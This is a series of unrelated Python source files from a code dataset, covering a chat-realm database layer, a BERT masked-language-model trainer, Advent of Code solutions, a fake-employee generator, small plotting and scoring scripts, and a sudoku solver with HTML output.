-------------------------------------------------------------------------\n time_end = time.time()\n main_dur = time_middle - time_start\n index_dur = time_end - time_middle\n total_dur = time_end - time_start\n print(f\"Time taken: main {main_dur} s, indexing {index_dur} s, \"\n f\"total {total_dur} s\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Phdmani/crate","sub_path":"crate_anon/anonymise/launch_multiprocess_anonymiser.py","file_name":"launch_multiprocess_anonymiser.py","file_ext":"py","file_size_in_byte":5695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"38091077056","text":"import json\n\nfrom quart import g\nimport ulid.api\n\nfrom agora.permissions import INITIAL_DEFAULT_REALM_ROLE_SCOPE_RULES\nfrom agora.util.json import dumps\n\n\nasync def count_realms_by_user(identity):\n result = await g.conn.fetchrow(\n \"\"\"\n SELECT count(*) AS count\n FROM realms\n WHERE id=$1\n \"\"\",\n identity[\"id\"],\n )\n\n return result[\"count\"]\n\n\nasync def get_realm(realm_id):\n return await g.conn.fetchrow(\n \"\"\"\n SELECT\n r.*,\n array_remove(array_agg(c.*), NULL) as channels,\n array_remove(array_agg(rs.*), NULL) as roles\n FROM realms r\n LEFT JOIN realm_channels c ON (c.realm_id = r.id)\n LEFT JOIN realm_roles rs ON (rs.realm_id = r.id)\n WHERE r.id=$1\n GROUP BY r.id\n \"\"\",\n realm_id,\n )\n\n\n# TODO: figure out how to reduce the net hops w/ asyncpg\nasync def create_realm(identity, name, public):\n async with g.conn.transaction():\n realm_id = ulid.api.new().uuid\n role_id = ulid.api.new().uuid\n\n realm = await g.conn.fetchrow(\n \"\"\"\n INSERT INTO realms (id, name, owner_id, is_public)\n VALUES ($1, $2, $3, $4)\n RETURNING *\n \"\"\",\n realm_id,\n name,\n identity[\"id\"],\n public,\n )\n\n await g.conn.fetchrow(\n \"\"\"\n INSERT INTO realm_roles\n (id, realm_id, name, granted_scopes, weight)\n VALUES ($1, $2, $3, $4, $5)\n RETURNING *\n \"\"\",\n role_id,\n realm_id,\n \"default\",\n dumps(INITIAL_DEFAULT_REALM_ROLE_SCOPE_RULES),\n 0,\n )\n\n await g.conn.execute(\n \"\"\"\n UPDATE realms SET default_role_id=$1\n WHERE id=$2\n \"\"\",\n role_id,\n realm_id,\n )\n\n member = await g.conn.fetchrow(\n \"\"\"\n INSERT INTO realm_members\n (realm_id, identity_id, joined_at, is_admin)\n VALUES ($1, $2, current_timestamp, true)\n RETURNING *\n \"\"\",\n realm_id,\n identity[\"id\"],\n )\n\n await g.conn.execute(\n \"\"\"\n INSERT INTO realm_member_roles (role_id, identity_id, realm_id)\n VALUES ($1, $2, $3)\n \"\"\",\n role_id,\n identity[\"id\"],\n realm_id,\n )\n\n return realm, member\n\n\nasync def delete_realm(realm_id):\n await g.conn.execute(\n \"\"\"\n DELETE FROM realms\n WHERE id=$1\n \"\"\",\n realm_id,\n )\n\n\nasync def get_realm_session_info(identity, realm_id):\n return await g.conn.fetchrow(\n \"\"\"\n SELECT\n row(r.*)::realms as realm,\n row(rm.*)::realm_members as member,\n array_agg(rr.*) as roles\n FROM realms r\n LEFT JOIN realm_members rm ON rm.realm_id = r.id\n LEFT OUTER JOIN realm_member_roles rmr ON rmr.realm_id = r.id\n LEFT JOIN realm_roles rr ON rr.id = rmr.role_id\n WHERE\n r.id = $2\n AND rm.identity_id = $1\n AND rmr.identity_id = $1\n GROUP BY r.id, rm.realm_id, rm.identity_id\n \"\"\",\n identity[\"id\"],\n realm_id,\n )\n\n\nasync def get_realms_for_hello(identity):\n return await g.conn.fetch(\n \"\"\"\n SELECT\n r.*,\n array_remove(array_agg(c.*), NULL) as channels,\n array_remove(array_agg(rs.*), NULL) as roles\n FROM realms r\n JOIN realm_members rm ON (rm.realm_id = r.id)\n LEFT JOIN realm_channels c ON (c.realm_id = r.id)\n LEFT JOIN realm_roles rs ON (rs.realm_id = r.id)\n WHERE rm.identity_id=$1\n GROUP BY r.id\n \"\"\",\n identity[\"id\"],\n )\n\n\nasync def create_realm_membership(realm, identity_id):\n async with g.conn.transaction():\n member = await g.conn.fetchrow(\n \"\"\"\n INSERT INTO realm_members\n (realm_id, identity_id, joined_at)\n VALUES ($1, $2, current_timestamp)\n RETURNING *\n \"\"\",\n realm[\"id\"],\n identity_id,\n )\n\n await g.conn.execute(\n \"\"\"\n INSERT INTO realm_member_roles (role_id, identity_id, realm_id)\n VALUES ($1, $2, $3)\n \"\"\",\n realm[\"default_role_id\"],\n identity_id,\n realm[\"id\"],\n )\n\n return member\n\n\ndef serialize_realm(realm):\n from agora.db.channel import serialize_realm_channel\n\n data = {\"id\": realm[\"id\"], \"name\": realm[\"name\"], \"public\": realm[\"is_public\"]}\n\n if \"channels\" in realm:\n data[\"channels\"] = [serialize_realm_channel(c) for c in realm[\"channels\"]]\n\n if \"roles\" in realm:\n data[\"roles\"] = [serialize_realm_role(r) for r in realm[\"roles\"]]\n\n return data\n\n\ndef serialize_realm_member(member):\n return {\"joined_at\": member[\"joined_at\"], \"admin\": member[\"is_admin\"]}\n\n\ndef serialize_realm_role(role):\n return {\n \"id\": role[\"id\"],\n \"name\": role[\"name\"],\n \"weight\": role[\"weight\"],\n \"granted_scopes\": json.loads(role[\"granted_scopes\"]),\n }\n","repo_name":"b1naryth1ef/agora","sub_path":"agora/db/realm.py","file_name":"realm.py","file_ext":"py","file_size_in_byte":5199,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"75"} +{"seq_id":"32455330768","text":"import requests\nimport json\ndef fake_emp():\n final_result = []\n\n for i in range(100):\n i += 1\n response = requests.get('https://randomuser.me/api/')\n test = response.json()\n name = f\"{test['results'][0]['name']['first']} {test['results'][0]['name']['last']}\"\n gender = test['results'][0]['gender']\n email = test['results'][0]['email']\n phone = test['results'][0]['phone']\n photo = test['results'][0]['picture']['medium']\n result = {\n \"Name\" : name,\n \"Gender\" : gender,\n \"Phone_number\" : phone,\n \"email\" : email,\n \"photos\" : photo\n }\n\n final_result.append(result)\n final_result = json.dumps(final_result, indent=4)\n return final_result\nwriteFile =open('file_name.json', 'w')\nwriteFile.write(fake_emp())\nwriteFile.close()","repo_name":"talahajeer/no-mask-catcher","sub_path":"generate_employees.py","file_name":"generate_employees.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42774684553","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nimport torch.nn.functional as F\r\nfrom torch.utils.data import Dataset, DataLoader\r\nfrom transformers import BertTokenizer, BertForMaskedLM\r\nfrom tqdm import tqdm\r\nimport numpy as np\r\n\r\nfrom Transformer import Transformer\r\nfrom BertEmbeddings import BertEmbeddings\r\nfrom BertOnlyMLMHead import BertOnlyMLMHead\r\n\r\n\r\nclass MyBertForMaskedLM(nn.Module):\r\n def __init__(self, config):\r\n super(MyBertForMaskedLM, self).__init__()\r\n self.vocab_size = config.vocab_size\r\n self.hidden_size = config.hidden_size\r\n self.attention_head_num = config.attention_head_num\r\n self.attention_head_size = config.attention_head_size\r\n self.intermediate_size = config.intermediate_size\r\n self.num_hidden_layers = config.num_hidden_layers\r\n self.device = config.device\r\n self.AttentionMask = config.AttentionMask\r\n self.max_len = config.max_len\r\n # 申明网络\r\n self.roberta_emd = BertEmbeddings(vocab_size=self.vocab_size, max_len=self.max_len,\r\n hidden_size=self.hidden_size, device=self.device)\r\n self.transformer_blocks = nn.ModuleList(\r\n Transformer(\r\n hidden_size=self.hidden_size,\r\n attention_head_num=self.attention_head_num,\r\n attention_head_size=self.attention_head_size,\r\n intermediate_size=self.intermediate_size).to(self.device)\r\n for _ in range(self.num_hidden_layers)\r\n )\r\n self.cls = BertOnlyMLMHead(config)\r\n\r\n def load_local2target(self):\r\n local2target_emb = {\r\n 'roberta_emd.token_embeddings.weight': 'bert.embeddings.word_embeddings.weight',\r\n 'roberta_emd.type_embeddings.weight': 'bert.embeddings.token_type_embeddings.weight',\r\n 'roberta_emd.position_embeddings.weight': 'bert.embeddings.position_embeddings.weight',\r\n 'roberta_emd.emb_normalization.weight': 'bert.embeddings.LayerNorm.weight',\r\n 'roberta_emd.emb_normalization.bias': 'bert.embeddings.LayerNorm.bias'\r\n }\r\n\r\n local2target_transformer = {\r\n 'transformer_blocks.%s.multi_attention.q_dense.weight': 'bert.encoder.layer.%s.attention.self.query.weight',\r\n 'transformer_blocks.%s.multi_attention.q_dense.bias': 'bert.encoder.layer.%s.attention.self.query.bias',\r\n 'transformer_blocks.%s.multi_attention.k_dense.weight': 'bert.encoder.layer.%s.attention.self.key.weight',\r\n 'transformer_blocks.%s.multi_attention.k_dense.bias': 'bert.encoder.layer.%s.attention.self.key.bias',\r\n 'transformer_blocks.%s.multi_attention.v_dense.weight': 'bert.encoder.layer.%s.attention.self.value.weight',\r\n 'transformer_blocks.%s.multi_attention.v_dense.bias': 'bert.encoder.layer.%s.attention.self.value.bias',\r\n 'transformer_blocks.%s.multi_attention.o_dense.weight': 'bert.encoder.layer.%s.attention.output.dense.weight',\r\n 'transformer_blocks.%s.multi_attention.o_dense.bias': 'bert.encoder.layer.%s.attention.output.dense.bias',\r\n 'transformer_blocks.%s.attention_layernorm.weight': 'bert.encoder.layer.%s.attention.output.LayerNorm.weight',\r\n 'transformer_blocks.%s.attention_layernorm.bias': 'bert.encoder.layer.%s.attention.output.LayerNorm.bias',\r\n 'transformer_blocks.%s.feedforward.dense1.weight': 'bert.encoder.layer.%s.intermediate.dense.weight',\r\n 'transformer_blocks.%s.feedforward.dense1.bias': 'bert.encoder.layer.%s.intermediate.dense.bias',\r\n 'transformer_blocks.%s.feedforward.dense2.weight': 'bert.encoder.layer.%s.output.dense.weight',\r\n 'transformer_blocks.%s.feedforward.dense2.bias': 'bert.encoder.layer.%s.output.dense.bias',\r\n 'transformer_blocks.%s.feedforward_layernorm.weight': 'bert.encoder.layer.%s.output.LayerNorm.weight',\r\n 'transformer_blocks.%s.feedforward_layernorm.bias': 'bert.encoder.layer.%s.output.LayerNorm.bias',\r\n }\r\n local2target_cls = {\r\n \"cls.predictions.bias\": \"cls.predictions.bias\",\r\n \"cls.predictions.transform.dense.weight\": \"cls.predictions.transform.dense.weight\",\r\n \"cls.predictions.transform.dense.bias\": \"cls.predictions.transform.dense.bias\",\r\n \"cls.predictions.transform.LayerNorm.weight\": \"cls.predictions.transform.LayerNorm.weight\",\r\n \"cls.predictions.transform.LayerNorm.bias\": \"cls.predictions.transform.LayerNorm.bias\",\r\n \"cls.predictions.decoder.weight\": \"cls.predictions.decoder.weight\",\r\n }\r\n\r\n return local2target_emb, local2target_transformer, local2target_cls\r\n\r\n def load_pretrain(self, sen_length, path):\r\n local2target_emb, local2target_transformer, local2target_cls = self.load_local2target()\r\n pretrain_model_dict = BertForMaskedLM.from_pretrained(path).state_dict()\r\n if sen_length == 512:\r\n finetune_model_dict = self.state_dict()\r\n # print(pretrain_model_dict.keys())\r\n # print(finetune_model_dict.keys())\r\n new_parameter_dict = {}\r\n # 加载embedding层参数\r\n for key in local2target_emb:\r\n local = key\r\n target = local2target_emb[key]\r\n new_parameter_dict[local] = pretrain_model_dict[target]\r\n # 加载transformerblock层参数\r\n for i in range(self.num_hidden_layers):\r\n for key in local2target_transformer:\r\n local = key % i\r\n target = local2target_transformer[key] % i\r\n new_parameter_dict[local] = pretrain_model_dict[target]\r\n for key in local2target_cls:\r\n local = key\r\n target = local2target_cls[key]\r\n new_parameter_dict[local] = pretrain_model_dict[target]\r\n finetune_model_dict.update(new_parameter_dict)\r\n self.load_state_dict(finetune_model_dict)\r\n else:\r\n raise Exception('请输入预训练模型正确的长度')\r\n\r\n def gen_attention_masks(self, attention_mask):\r\n \"\"\"\r\n\r\n :param segment_ids:\r\n :return:[batchsize, max_len, max_len]\r\n \"\"\"\r\n size = list(attention_mask.size())\r\n batch = size[0]\r\n max_len = size[1]\r\n process_attention_mask = torch.zeros(batch, max_len, max_len, requires_grad=False)\r\n true_len = torch.sum(attention_mask, dim=1)\r\n for i in range(batch):\r\n process_attention_mask[i, :true_len[i], :true_len[i]] = 1\r\n return process_attention_mask\r\n\r\n def forward(self,\r\n input_token,\r\n segment_ids,\r\n attention_mask,\r\n ):\r\n embedding_x = self.roberta_emd(input_token, segment_ids)\r\n if self.AttentionMask:\r\n attention_mask = self.gen_attention_masks(attention_mask).to(self.device)\r\n else:\r\n attention_mask = None\r\n feedforward_x = None\r\n # transformer\r\n for i in range(self.num_hidden_layers):\r\n if i == 0:\r\n feedforward_x = self.transformer_blocks[i](embedding_x, attention_mask)\r\n else:\r\n feedforward_x = self.transformer_blocks[i](feedforward_x, attention_mask)\r\n # print(\"feedforward_x.shape:\",feedforward_x.shape)\r\n\r\n sequence_output = self.cls(feedforward_x)\r\n # print(\"sequence_output.shape\", sequence_output.shape)\r\n return sequence_output\r\n\r\n\r\nclass Config:\r\n vocab_size = 21128\r\n hidden_size = 768\r\n attention_head_num = 12\r\n attention_head_size = hidden_size // attention_head_num\r\n assert \"self.hidden必须要整除self.attention_heads\"\r\n intermediate_size = 3072\r\n num_hidden_layers = 12\r\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n AttentionMask = True\r\n max_len = 512 # 加载预训练模型的长度\r\n layer_norm_eps = 1e-12\r\n hidden_act = \"gelu\"\r\n\r\n train_file = './mlm_data/mlm_data.txt'\r\n train_max_len = 64 # 实际训练的最大长度\r\n train_epoch = 10\r\n bert_dir = '../../model_hub/hfl_chinese-bert-wwm-ext/'\r\n tokenizer = BertTokenizer.from_pretrained(bert_dir + 'vocab.txt')\r\n output_dir = './checkpoints/'\r\n use_pretrained = True\r\n batch_size = 128\r\n max_predictions_per_seq = 6\r\n lr = 2e-5\r\n\r\n\r\nclass MLMDataset(Dataset):\r\n def __init__(self, config):\r\n self.config = config\r\n self.examples = self.get_data()\r\n self.nums = len(self.examples)\r\n\r\n def get_data(self):\r\n examples = []\r\n with open(self.config.train_file, 'r') as fp:\r\n lines = fp.read().strip().split('\\n')\r\n for i, line in tqdm(enumerate(lines)):\r\n line = eval(line)\r\n tokens = line['tokens']\r\n # segment_ids = line['segment_ids']\r\n masked_lm_positions = line['masked_lm_positions']\r\n masked_lm_labels = line['masked_lm_labels']\r\n masked_lm_ids = [self.config.tokenizer.convert_tokens_to_ids(masked_lm_label)\r\n for masked_lm_label in masked_lm_labels]\r\n label_weight = [1] * len(masked_lm_positions)\r\n while len(label_weight) < self.config.max_predictions_per_seq:\r\n masked_lm_positions.append(0)\r\n masked_lm_ids.append(0)\r\n label_weight.append(0.0)\r\n\r\n input_ids = self.config.tokenizer.convert_tokens_to_ids(tokens) + [0] * (\r\n self.config.train_max_len - len(tokens))\r\n tokens_type_ids = [0] * self.config.train_max_len\r\n attention_mask = [1] * len(tokens) + [0] * (self.config.train_max_len - len(tokens))\r\n\r\n if i == 0:\r\n print(input_ids)\r\n print(tokens_type_ids)\r\n print(attention_mask)\r\n print(masked_lm_positions)\r\n print(masked_lm_ids)\r\n print(label_weight)\r\n examples.append(\r\n (\r\n input_ids,\r\n tokens_type_ids,\r\n attention_mask,\r\n masked_lm_positions,\r\n masked_lm_ids,\r\n label_weight,\r\n )\r\n )\r\n return examples\r\n\r\n def __len__(self):\r\n return self.nums\r\n\r\n def __getitem__(self, item):\r\n data = {\r\n \"input_ids\": self.examples[item][0],\r\n \"token_type_ids\": self.examples[item][1],\r\n \"attention_mask\": self.examples[item][2],\r\n \"masked_lm_positions\": self.examples[item][3],\r\n \"masked_lm_ids\":self.examples[item][4],\r\n \"label_weight\": self.examples[item][5],\r\n }\r\n for key in data:\r\n if key != 'label_weight':\r\n data[key] = torch.tensor(data[key]).long()\r\n else:\r\n data[key] = torch.tensor(data[key]).float()\r\n return data\r\n\r\n\r\nclass Trainer:\r\n def __init__(self, config, train_loader):\r\n self.config = config\r\n self.model = MyBertForMaskedLM(config)\r\n if config.use_pretrained:\r\n self.model.load_pretrain(config.max_len, config.bert_dir)\r\n else:\r\n self.model.load_state_dict(torch.load(config.output_dir+'pytorch_bin.model'))\r\n self.model.to(config.device)\r\n self.train_loader = train_loader\r\n self.optim = optim.Adam(self.model.parameters(), lr=self.config.lr)\r\n\r\n def train(self):\r\n self.model.train()\r\n total_step = self.config.train_epoch * len(self.train_loader)\r\n global_step = 0\r\n for epoch in range(self.config.train_epoch):\r\n for step, data in enumerate(self.train_loader):\r\n for key in data:\r\n data[key] = data[key].to(self.config.device)\r\n logits = self.model(\r\n data['input_ids'],\r\n data['token_type_ids'],\r\n data['attention_mask'],\r\n ) # [batchsize, train_max_len, vocab_size]\r\n masked_lm_positions = data['masked_lm_positions']\r\n masked_lm_ids = data['masked_lm_ids']\r\n label_weight = data['label_weight']\r\n batch_size = logits.shape[0]\r\n seq_length = logits.shape[1]\r\n width = logits.shape[2]\r\n flat_offsets = (torch.arange(0, batch_size).long() * seq_length).reshape(-1, 1).to(self.config.device)\r\n flat_positions = (masked_lm_positions + flat_offsets).reshape(-1).to(self.config.device)\r\n flat_sequence_tensor = logits.view(batch_size * seq_length, width)\r\n output_tensor = torch.index_select(flat_sequence_tensor, 0, flat_positions)\r\n log_probs = F.log_softmax(output_tensor, dim=-1)\r\n log_probs = log_probs.view(batch_size, -1, width)\r\n one_hot_ids = F.one_hot(masked_lm_ids, num_classes=self.config.vocab_size)\r\n per_example_loss = - torch.sum(log_probs * one_hot_ids, dim=-1)\r\n numerator = torch.sum(label_weight * per_example_loss, dim=-1)\r\n denominator = torch.sum(label_weight, dim=-1) + 1e-5\r\n loss = numerator / denominator\r\n loss = torch.sum(loss, dim=-1) / batch_size\r\n self.model.zero_grad()\r\n loss.backward()\r\n self.optim.step()\r\n print('epoch:{} step:{}/{} loss:{}'.format(epoch, global_step, total_step, loss.item()))\r\n global_step += 1\r\n torch.save(self.model.state_dict(), self.config.output_dir + 'pytorch_model.bin')\r\n\r\n def predict(self):\r\n self.model.eval()\r\n text = '宇[MASK]员尿液堵塞国际空间站水循环系统'\r\n input = self.config.tokenizer.encode_plus(\r\n text = text,\r\n return_token_type_ids=True,\r\n return_attention_mask=True,\r\n return_tensors='pt',\r\n )\r\n for key in input:\r\n input[key] = input[key].to(self.config.device)\r\n with torch.no_grad():\r\n input_token = input[\"input_ids\"]\r\n segment_ids = input[\"token_type_ids\"]\r\n attention_mask = input[\"attention_mask\"]\r\n logits = self.model(input_token, segment_ids, attention_mask)\r\n print(logits.shape)\r\n ind = 2\r\n logits = logits[:, ind, :]\r\n logits = np.argmax(logits.cpu().detach().numpy(), -1)\r\n print(self.config.tokenizer.convert_ids_to_tokens(logits))\r\n\r\nif __name__ == '__main__':\r\n config = Config()\r\n # mlmDataset = MLMDataset(config)\r\n # train_loader = DataLoader(mlmDataset, batch_size=config.batch_size, shuffle=True, pin_memory=True)\r\n # trainer = Trainer(config, train_loader)\r\n # trainer.train()\r\n\r\n trainer = Trainer(config, None)\r\n config.use_pretrained = False\r\n trainer.predict()\r\n","repo_name":"taishan1994/pytorch_simple_bert","sub_path":"test_BertForMaskedLM.py","file_name":"test_BertForMaskedLM.py","file_ext":"py","file_size_in_byte":15192,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"13876547171","text":"def part1(): \n with open(\"aoc22\\day9\\day9.txt\", \"r\") as f:\n visited = set()\n tail, head = (0, 0), (0, 0) # (c, r)\n visited.add(tail) # add starting position\n directions = {\"L\": (-1, 0), \"R\": (1, 0), \"U\": (0, -1), \"D\": (0, 1)}\n for _, val in enumerate(f.readlines()):\n val = val.strip()\n # distance head will move\n dir, steps = val.split(' ')\n steps = int(steps)\n\n # update head\n for _ in range(steps):\n head = (head[0] + directions[dir][0], head[1] + directions[dir][1])\n tail = getTail(head, tail)\n visited.add(tail)\n\n return len(visited) \n\ndef part2():\n with open(\"aoc22\\day9\\day9.txt\", \"r\") as f:\n visited = set()\n tails, head = [(0, 0) for _ in range(9)], (0, 0) # (c, r)\n visited.add(head) # add starting position\n directions = {\"L\": (-1, 0), \"R\": (1, 0), \"U\": (0, -1), \"D\": (0, 1)}\n for _, val in enumerate(f.readlines()):\n val = val.strip()\n # distance head will move\n dir, steps = val.split(' ')\n steps = int(steps)\n\n # update head\n for _ in range(steps):\n head = (head[0] + directions[dir][0], head[1] + directions[dir][1])\n tmp = head\n for i in range(9):\n tails[i] = getTail(tmp, tails[i])\n tmp = tails[i]\n\n visited.add(tails[-1])\n\n return len(visited) \n\ndef getTail(head, tail):\n # if either c or r is the same, we can just iterate through the range\n if (head[0] == tail[0]) : # same cols\n start = min(head[1], tail[1])\n end = max(head[1], tail[1])\n for _ in range(start + 1, end):\n addRow = 1 if head[1] > tail[1] else -1\n tail = (tail[0], tail[1] + addRow) \n elif (head[1] == tail[1]): # same rows\n start = min(head[0], tail[0]) \n end = max(head[0], tail[0]) \n for _ in range(start + 1, end):\n addCol = 1 if head[0] > tail[0] else -1\n tail = (tail[0] + addCol, tail[1]) \n elif abs(head[0] - tail[0]) >= 2: # not the same row and number of cols differ by more than 2\n # make a diagonal move in the direction of head\n tail = (tail[0] + (1 if head[0] > tail[0] else -1), tail[1] + (1 if head[1] > tail[1] else -1))\n for _ in range(min(tail[0], head[0]) + 1, max(head[0], tail[0])):\n tail = (tail[0] + (1 if head[0] > tail[0] else -1), tail[1]) # same row\n elif abs(head[1] - tail[1]) >= 2: # not the same col and number of rows differ by more than 2\n # make a diagonal move in the direction of head\n tail = (tail[0] + (1 if head[0] > tail[0] else -1), tail[1] + (1 if head[1] > tail[1] else -1))\n for _ in range(min(tail[1], head[1]) + 1, max(head[1], tail[1])):\n tail = (tail[0], tail[1] + (1 if head[1] > tail[1] else -1)) # same col\n else: # not the same row or col and number of cols or rows differ by 1\n pass # do nothing\n return tail\n\nif __name__ == \"__main__\":\n print(part1())\n print(part2())\n","repo_name":"Zxun2/aoc","sub_path":"aoc22/day9/day9.py","file_name":"day9.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20146477115","text":"def find_top_20(*args):\n a = {}\n b = []\n lli = []\n ff = []\n vv = []\n for i in args:\n for j in i:\n c = j.values()\n #print(c)\n for h in c:\n b.append(h)\n print(b)\n for i in range(len(b)):\n if i % 3 == 0:\n a[b[i]] = 0\n for j in range(1,len(b),3):\n g = sum(b[j].values())\n lli.append(g)\n print(lli)\n for k in range(2,len(b),3):\n ff.append(b[k])\n ccc = list(int(i) + int(j) for i, j in zip(lli, ff))\n jj = dict(zip(a, ccc)) #lli\n\n #ss = sum(zip(a, ccc))\n print(jj)\n #print(ss)\n #print(ff)\n jj = dict(sorted(jj.items(), reverse=True, key=lambda x: x[1]))\n for k,v in list(jj.items())[:20]:\n vv.append(k)\n print(vv)\n\nfind_top_20([{\"name\": \"Vasya\", \"scores\": {\"math\": 58, \"russian_language\": 62, \"computer_science\": 48}, \"extra_scores\":0},\n {\"name\": \"Fedya\", \"scores\": {\"math\": 33, \"russian_language\": 85, \"computer_science\": 42}, \"extra_scores\":2},\n {\"name\": \"Petya\", \"scores\": {\"math\": 92, \"russian_language\": 33, \"computer_science\": 34}, \"extra_scores\":1}])","repo_name":"TodaCosta/PythonTask","sub_path":"Ira/36.py","file_name":"36.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4399289743","text":"import time\nimport yaml\nfrom collect_data import collect_data\nfrom typing import Dict\nfrom loguru import logger\n\n\ndef main(configure: Dict[str, object]) -> None:\n\n proc_step = configure[\"options\"][\"proc_step\"]\n\n if proc_step == 'collect':\n logger.info('start collecting data')\n collect_data.collect_data(configure)\n logger.info('finished stacking')\n\n else:\n raise ValueError('unexpected proc_step: %s' % proc_step)\n\n elapsed_time = time.time() - start_time\n time_str = time.strftime('%H:%M:%S', time.gmtime(elapsed_time))\n logger.info(\"elapsed_time: %s\" % time_str)\n\n\nif __name__ == '__main__':\n start_time = time.time()\n # Load the configuration settings from a YAML file\n with open('config.yaml', 'r') as f:\n config = yaml.safe_load(f)\n\n main(config)\n","repo_name":"robertricker/SvalbardSnow","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3713415059","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport ROOT\nplt.rcParams[\"figure.figsize\"] = (20, 12) # (w, h)\nplt.rcParams[\"font.size\"] = 22\n\ncolor = 'black'\nplt.rcParams['text.color'] = color\nplt.rcParams['axes.labelcolor'] = color\nplt.rcParams['xtick.color'] = color\nplt.rcParams['ytick.color'] = color\nplt.rcParams['lines.markersize'] = 20\n\nbg = 'white'\nplt.rcParams[\"figure.facecolor\"] = bg\nplt.rcParams[\"axes.facecolor\"] = bg\nplt.rcParams[\"savefig.facecolor\"] = bg\n\nzenith = [20, 30, 35, 40, 45, 50, 55, 60, 65]\nmarkerstyle = ['o', 'v', 'D', '^', 's', '<', 'p', '>', '*']\nenergy = np.power(10, np.linspace(2, 5, 10))\nc=TCanvas()\nc.Draw()\ni=4\n# for i in range(9):\n\nf = ROOT.TFile(\"zen20/zendisp.root\")\ntr = f.Get(\"diagnosticTree\")\ntr.SetBranchAddress(\"fEnergyGev\")\nhisto=TH1F(\"histo\", \"\", 100, 0, 10)\ntree.Draw(\"DevDeg>>histo\", \"fEnergyGeV>100&&fEnergyGeV<126\", \"COLZ\")\n","repo_name":"sreeladas/msc_thesis","sub_path":"python/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"927914676","text":"import random\nfrom bs4 import BeautifulSoup\n\nboard = [\n '9 34 ',\n ' 51943 6',\n '47 65 8 ',\n ' 14 ',\n ' 19 6 3 ',\n '7 8951 ',\n ' 2 87',\n '5687 4 3',\n ' 9 62 4'\n]\n\nboard2 = [\n '5 32 8',\n ' 8 4 ',\n ' 73 5 ',\n '2 89 ',\n '6 4',\n ' 49 3',\n ' 5 37 ',\n ' 6 7 ',\n '7 96 5' \n]\n\n\nriddle_board = []\nfor rownum in range(len(board)):\n board[rownum] = list(board[rownum])\n riddle_board.append(list(board[rownum]))\n\nclass Coord:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n def __str__(self):\n return '({},{})'.format(self.x, self.y)\n\ndef findempty(b):\n for rownum in range(len(b)):\n row = b[rownum]\n try:\n colnum = row.index(' ')\n return Coord(colnum, rownum)\n except ValueError:\n pass\n return None\n \nINDEX = ' |012|345|678| '\n\ndef printBoard(b):\n print(INDEX) \n print( '-' * 14)\n for rownum in range(len(b)):\n row = b[rownum]\n l = str(rownum) + '|'\n for g in range(3):\n for e in range(3):\n l += row[g*3+e]\n l += '|'\n print(l)\n if rownum%3 == 2:\n print('-' * 14)\n print( '-' * 14)\n\n\ndef findPoss(b, p):\n sx = p.x - (p.x % 3)\n sy = p.y - (p.y % 3)\n\n s = set(map(str, range(1,10)))\n for xi in range(3):\n for yi in range(3):\n s.discard(b[sy+yi][sx+xi])\n\n for xi in range(9):\n s.discard(b[p.y][xi])\n\n for yi in range(9):\n s.discard(b[yi][p.x])\n\n return s\n\nclass StackElem:\n def __init__(self, p, poss, pi):\n self.p = p\n self.poss = poss\n self.pi = pi\n def __str__(self):\n return \"p = {}, poss = {}, pi = {}\".format( self.p, self.poss, self.pi)\n\ndef print_stack(stack):\n for i in stack:\n print(str(i))\n print()\n\ndef solve_nonrecursive(b, stack, stopIfFound):\n while True:\n # check if a solution has been found. print it.\n # find options to advance, store into poss array.\n # push these options on the stack.\n # if no options can be found, backtrack, i.e. pop\n # from stack as long as there are more options..\n # advance to the next option.\n p = findempty(b)\n if p is None:\n printBoard(b)\n poss = []\n if stopIfFound:\n return True\n else:\n poss = list(findPoss(b, p))\n if len(poss) > 0:\n random.shuffle(poss)\n stack.append(StackElem(p, poss, 0))\n else:\n while(True):\n if len(stack) == 0:\n # we're done. there's no (more) solutions.\n return False;\n e = stack.pop()\n b[e.p.y][e.p.x] = ' '\n if e.pi < len(e.poss)-1:\n break\n\n e.pi += 1\n stack.append(e)\n # now the last stack element contains the next option to be investigated.\n # apply it to the board.\n #print_stack(stack)\n e = stack[-1]\n b[e.p.y][e.p.x] = e.poss[e.pi]\n\n\n\ndef solve(b):\n p = findempty(b)\n if p is None:\n printBoard(b)\n return True\n poss = list(findPoss(b, p))\n random.shuffle(poss)\n for e in poss:\n b[p.y][p.x] = e\n #print(str(p.y) + ' is now ' + str(b[p.y]))\n if solve(b):\n return True\n\n b[p.y][p.x] = ' '\n return False\n\ndef create():\n row = [' '] * 9;\n b = [ list(row) for i in range(9) ]\n solve(b)\n\ndef printBoardHtml(b, filename):\n html_doc = open('sudoku-board.html', 'r')\n soup = BeautifulSoup(html_doc, 'html.parser')\n for cellid in range(81):\n col = cellid % 9\n row = cellid / 9;\n tag = soup.find(id='cell-{}'.format(cellid))\n tag['value'] = b[row][col]\n if riddle_board[row][col] == ' ':\n del tag['disabled']\n else:\n tag['disabled'] = ''\n f = open(filename, 'w')\n f.write(soup.prettify())\n f.close()\n print('saved to ' + filename)\n \nprintBoardHtml(board, 'sudoku-board-riddle.html')\n\nsolve_nonrecursive(board, [], True)\nprintBoardHtml(board, 